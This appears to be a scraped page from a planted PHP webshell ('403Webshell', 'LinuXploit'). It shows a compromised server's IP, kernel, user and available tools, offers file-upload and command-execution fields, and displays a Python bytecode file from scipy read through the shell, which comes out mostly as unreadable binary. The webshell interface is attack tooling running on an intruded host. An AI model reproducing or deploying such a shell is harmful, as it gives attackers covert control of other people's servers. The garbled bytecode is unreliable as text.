403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/__pycache__/_spfuncs.cpython-311.pyc
�

d�c���H�dZddgZddlmZmZddlmZddlmZdd�Z	d	�Z
d
S)z+ Functions that operate on sparse matrices
�count_blocks�estimate_blocksize�)�isspmatrix_csr�
csr_matrix)�isspmatrix_csc)�csr_count_blocks�ffffff�?c��t|��st|��st|��}|jdkrdSd|cxkrdksnt	d���d|zdz}t|j��}|j\}}|dzdkr |dzdkr|dt|d��zz}nd	}|d
zdkr |d
zdkr|dt|d��zz}nd	}||kr&||kr |d
t|d��zz}||krdSdS|dzdkr |dzdkr|dt|d��zz}	nd	}	|	|krdS||krdS||krdSdS)z�Attempt to determine the blocksize of a sparse matrix

    Returns a blocksize=(r,c) such that
        - A.nnz / A.tobsr( (r,c) ).nnz > efficiency
    �)rrg�?z.efficiency must satisfy 0.0 < efficiency < 1.0g@��)rrg��	)rr�$)�r�)r
r
)rrr�nnz�
ValueError�float�shaper)
�A�
efficiency�high_efficiencyr�M�N�e22�e33�e66�e44s
          �7/usr/lib/python3/dist-packages/scipy/sparse/_spfuncs.pyrrs���
�1������!2�!2���q�M�M���u��z�z��u��z�����C������I�J�J�J��Z�'�3�.�O�
���,�,�C�
�'�C�A�a��1�u��z�z�a�!�e�q�j�j��Q��a��.�.�.�/������1�u��z�z�a�!�e�q�j�j��Q��a��.�.�.�/�����
�_�����!6�!6��R�,�q��/�/�/�0�������5��5��q�5�A�:�:�!�a�%�1�*�*���l�1�U�3�3�3�4�C�C��C������5�
�:�
�
��5�
�:�
�
��5��5�c�6�|\}}|dks|dkrtd���t|��r(|j\}}t|||||j|j��St
|��rt|j||f��Stt|��|��S)z]For a given blocksize=(r,c) count the number of occupied
    blocks in a sparse matrix A
    rzr and c must be positive)
rrrr�indptr�indicesrr�Tr)r�	blocksize�r�crrs      r rr>s����C�A�a��1�u�u��A����3�4�4�4��a���5��g���!���!�A�a�����;�;�;�	��	�	�5��A�C��1��&�&�&��J�q�M�M�)�4�4�4r!N)r	)�__doc__�__all__�_csrrr�_cscr�_sparsetoolsrrr�r!r �<module>r/s������.�
/��,�,�,�,�,�,�,�,� � � � � � �*�*�*�*�*�*�0�0�0�0�f5�5�5�5�5r!

Youez - 2016 - github.com/yon3zu
LinuXploit